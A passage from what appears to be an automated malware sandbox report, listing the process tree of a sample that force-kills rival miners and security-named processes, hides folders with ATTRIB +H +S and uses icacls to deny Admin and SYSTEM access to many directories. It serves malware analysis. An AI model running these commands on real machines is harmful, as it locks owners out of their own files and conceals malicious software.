      PID:4076
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM muxu.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4328
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM muxu.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4424
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      System Location Discovery: System Language Discovery
      Delays execution with timeout.exe
      PID:5076
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\programdata\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}"
      4⤵
      Views/modifies file attributes
      PID:4576
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\{CB28D9D3-6B5D-4AFA-BA37-B4AFAABF70B8}" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:4240
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM CEF.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5356
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3728
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM CEF.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:536
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\Cefunpacked\ /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3328
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Local\temp\System32
      4⤵
      Views/modifies file attributes
      PID:3080
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Local\temp\Windowstask
      4⤵
      System Location Discovery: System Language Discovery
      Views/modifies file attributes
      PID:5764
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\temp\Windowstask /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3208
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\temp\System32 /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3524
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\temp\System32\Logs
      4⤵
      Views/modifies file attributes
      PID:1976
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\temp\Windowstask
      4⤵
      Views/modifies file attributes
      PID:3640
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\temp
      4⤵
      Views/modifies file attributes
      PID:2292
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\temp\Windowstask /deny Admin:(OI)(CI)(F)
      4⤵
      PID:1376
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\temp\System32\Logs /deny Admin:(OI)(CI)(F)
      4⤵
      PID:856
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM windefender.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3252
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM intel1.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5340
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM intel.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:952
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM nvidiahelp.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5480
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM taskhost.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4532
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM nvidiadriver.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1844
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:1960
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\users\Admin\AppData\roaming\system"
      4⤵
      Views/modifies file attributes
      PID:3688
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\roaming\system" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      System Location Discovery: System Language Discovery
      PID:4952
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "c:\programdata\MicrosoftCorporation"
      4⤵
      PID:1868
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "c:\programdata\MicrosoftCorporation" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1572
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM intel.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:6096
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM intel1.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:820
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM taskhost.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:1496
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:1988
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\appdata\roaming\WindowsApps
      4⤵
      Views/modifies file attributes
      PID:1900
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\WindowsApps" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:3620
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM systemcore.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3416
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:5796
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\appdata\roaming\windowshelper
      4⤵
      Views/modifies file attributes
      PID:5016
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\windowshelper" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:5712
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hostdl.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1716
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM defender.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5840
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM winmgmnt.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4072
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "D:\Windowsdata"
      4⤵
      Views/modifies file attributes
      PID:2148
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\Windowsdata"
      4⤵
      PID:3864
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "E:\Windowsdata"
      4⤵
      Views/modifies file attributes
      PID:3512
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "K:\Windowsdata"
      4⤵
      PID:5920
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "D:\Windowsdata" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:2268
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Windowsdata" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:544
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "E:\Windowsdata" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:392
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "K:\Windowsdata" /deny Admin:(OI)(CI)(F)
      4⤵
      System Location Discovery: System Language Discovery
      PID:3548
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM webservice.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5068
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM securedisk.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3732
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:5308
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\disk
      4⤵
      Views/modifies file attributes
      PID:4152
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\disk" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:1516
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM systemprocess.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2420
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:816
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\appdata\roaming\systemprocess
      4⤵
      Views/modifies file attributes
      PID:1680
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\systemprocess" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:6112
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM defender.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4008
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:3704
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\AppData\roaming\microsoft\windows defender" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:456
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM debugger.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5684
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hostdl.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3412
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:1912
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\users\Admin\appdata\roaming\microsoft\network"
      4⤵
      Views/modifies file attributes
      PID:2604
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\microsoft\network" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:5648
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM gplyra.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4204
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:5332
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\users\Admin\appdata\roaming\gplyra"
      4⤵
      PID:2280
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\gplyra" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:1620
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM run.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:2412
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\programdata\tiser"
      4⤵
      Views/modifies file attributes
      PID:5668
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\tiser" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:924
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM nettrans.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5468
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "C:\programdata\prefssecure"
      4⤵
      Views/modifies file attributes
      PID:4088
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\prefssecure" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3720
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM net.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:512
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM net1.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:3576
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:5076
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM SYSTEM.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4576
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:4112
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\windowshelper" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:5356
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\intel" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2936
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hostdl.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1780
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\app" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3032
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM nscpucnminer.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:1216
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S "c:\windows\min"
      4⤵
      Drops file in Windows directory
      Views/modifies file attributes
      PID:5384
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\windows\min\ /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:5852
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM ErrorCheck.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1440
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\Mikile /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:3392
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM booster.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4068
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM unityp.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:4456
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM booster.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:3476
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hoststore.exe /T /F
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:3084
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM windowsdeffenders.exe /T /F
      4⤵
      Kills process with taskkill
      Suspicious use of AdjustPrivilegeToken
      PID:5768
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\windows\hs_moduler
      4⤵
      Views/modifies file attributes
      PID:4920
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\windows\hs_module" /deny Admin:(OI)(CI)(F)
      4⤵
      PID:4908
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM dvjyy.exe /T /F
      4⤵
      Kills process with taskkill
      PID:5980
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hostsys.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:3964
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\programdata\oracle
      4⤵
      System Location Discovery: System Language Discovery
      PID:628
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\oracle" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      System Location Discovery: System Language Discovery
      PID:5516
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM booster.exe /T /F
      4⤵
      Kills process with taskkill
      PID:5772
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Local\PCBooster
      4⤵
      Views/modifies file attributes
      PID:4020
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\PCBooster /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1120
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM nheqminer.exe /T /F
      4⤵
      PID:3420
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM msminer.exe /T /F
      4⤵
      Kills process with taskkill
      PID:2252
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\isminer /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:952
  - - C:\Windows\SysWOW64\taskkill.exe
      taskkill /IM winlog.exe /T /F
      4⤵
      PID:3716
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Roaming\systemcare
      4⤵
      Views/modifies file attributes
      PID:4348
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\systemcare /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:4776
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "Windows System Driver.exe" /T /F
      4⤵
      PID:3360
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "Windows Driver.exe" /T /F
      4⤵
      PID:2468
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "COM Surrogate.exe" /T /F
      4⤵
      PID:448
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "system.exe" /T /F
      4⤵
      Kills process with taskkill
      PID:1412
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM "security.exe" /T /F
      4⤵
      PID:4788
  - - C:\Windows\SysWOW64\timeout.exe
      timeout /t 1 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:380
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\WindowsSQL /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:2892
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\WindowsSQL /deny system:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:4784
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\DirectX11b /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:1916
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\DirectX11b /deny system:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3532
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\Framework /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:2024
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\programdata\Framework /deny system:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5976
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM AMD.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:820
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\local\AMD /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:4092
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\local\AMD /deny system:(OI)(CI)(F
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:1988
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM nssm.exe /T /F
      4⤵
      PID:1900
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM xmarin.exe /T /F
      4⤵
      Kills process with taskkill
      PID:2416
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\xmarin /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      System Location Discovery: System Language Discovery
      PID:972
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM wupdate.exe /T /F
      4⤵
      Kills process with taskkill
      PID:3044
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Local\wupdate
      4⤵
      PID:6024
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\wupdate /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:5328
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM SIVapp.exe /T /F
      4⤵
      PID:1008
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Local\SIVapp
      4⤵
      Views/modifies file attributes
      PID:1600
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\SIVapp /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:5248
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM Kyubey.exe /T /F
      4⤵
      PID:2424
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Roaming\kyubey
      4⤵
      System Location Discovery: System Language Discovery
      PID:5176
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\kyubey /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:3512
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM mel.exe /T /F
      4⤵
      PID:5920
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Roaming\QIPapp
      4⤵
      PID:1212
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\QIPapp /deny Admin:(OI)(CI)(F)
      4⤵
      System Location Discovery: System Language Discovery
      PID:2052
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM NSCPUCNMINER64.EXE /T /F
      4⤵
      Kills process with taskkill
      PID:2584
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM img002.EXE /T /F
      4⤵
      Kills process with taskkill
      PID:4704
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Roaming\NSCPUCNMINER
      4⤵
      PID:5352
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\NSCPUCNMINER /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:4180
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM monotype.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:2036
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\local\monotype
      4⤵
      PID:3892
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\local\monotype /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6032
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM xpon.exe /T /F
      4⤵
      Kills process with taskkill
      PID:5952
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\local\xpon
      4⤵
      PID:4004
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\local\xpon /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4192
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\local\xpon /deny system:(OI)(CI)(F)
      4⤵
      PID:1132
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM xmrig.exe /T /F
      4⤵
      Kills process with taskkill
      PID:3228
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Roaming\isminer
      4⤵
      PID:5464
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Roaming\isminer /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:3248
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM security.exe /T /F
      4⤵
      PID:3856
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM comdev.exe /T /F
      4⤵
      PID:1552
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Local\comdev
      4⤵
      PID:5844
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\comdev /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:4220
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM wmipr.exe /T /F
      4⤵
      System Location Discovery: System Language Discovery
      Kills process with taskkill
      PID:4032
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\users\Admin\AppData\Local\wmipr
      4⤵
      Views/modifies file attributes
      PID:4384
  - - C:\Windows\SysWOW64\icacls.exe
      icacls C:\users\Admin\AppData\Local\wmipr /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:4204
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM defender.exe /F
      4⤵
      PID:5332
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM winmgmnt.exe /F
      4⤵
      System Location Discovery: System Language Discovery
      PID:4000
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM hostdl.exe /F
      4⤵
      PID:3932
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S C:\Programdata\Windowsdata
      4⤵
      System Location Discovery: System Language Discovery
      PID:924
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\Programdata\Windowsdata" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:784
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM dlhosta.exe /F
      4⤵
      PID:3804
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\performance" /deny Admin:(OI)(CI)(F)
      4⤵
      Modifies file permissions
      PID:3720
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\users\Admin\appdata\roaming\microsoft\windows\system" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      System Location Discovery: System Language Discovery
      PID:3452
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\programdata\AudioHDriver"
      4⤵
      Views/modifies file attributes
      PID:3712
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\AudioHDriver" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      Modifies file permissions
      PID:6052
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\programdata\AudioDriver"
      4⤵
      PID:4432
  - - C:\Windows\SysWOW64\icacls.exe
      icacls "C:\programdata\AudioDriver" /deny Admin:(OI)(CI)(F)
      4⤵
      Possible privilege escalation attempt
      PID:832
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM vshub.exe /T /F
      4⤵
      PID:4452
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM vsnhub.exe /T /F
      4⤵
      Kills process with taskkill
      PID:4028
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM erenhub.exe /T /F
      4⤵
      PID:3772
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM AudioHD.exe /T /F
      4⤵
      Kills process with taskkill
      PID:5440
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM AudioDriver.exe /T /F
      4⤵
      Kills process with taskkill
      PID:3224
  - - C:\Windows\SysWOW64\taskkill.exe
      TASKKILL /IM penapen.exe /T /F
      4⤵
      Kills process with taskkill
      PID:5504
  - - C:\Windows\SysWOW64\timeout.exe
      timeout 1
      4⤵
      Delays execution with timeout.exe
      PID:3920
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\users\Admin\AppData\Roaming\AudioHDriver"
      4⤵
      PID:2292
  - - C:\Windows\SysWOW64\attrib.exe
      ATTRIB +H +S +R "C:\Programdata\AudioDriver"
      4⤵
      Views/modifies file attributes
      PID:4436
  - - C:\Windows\SysWOW64\attrib.exe
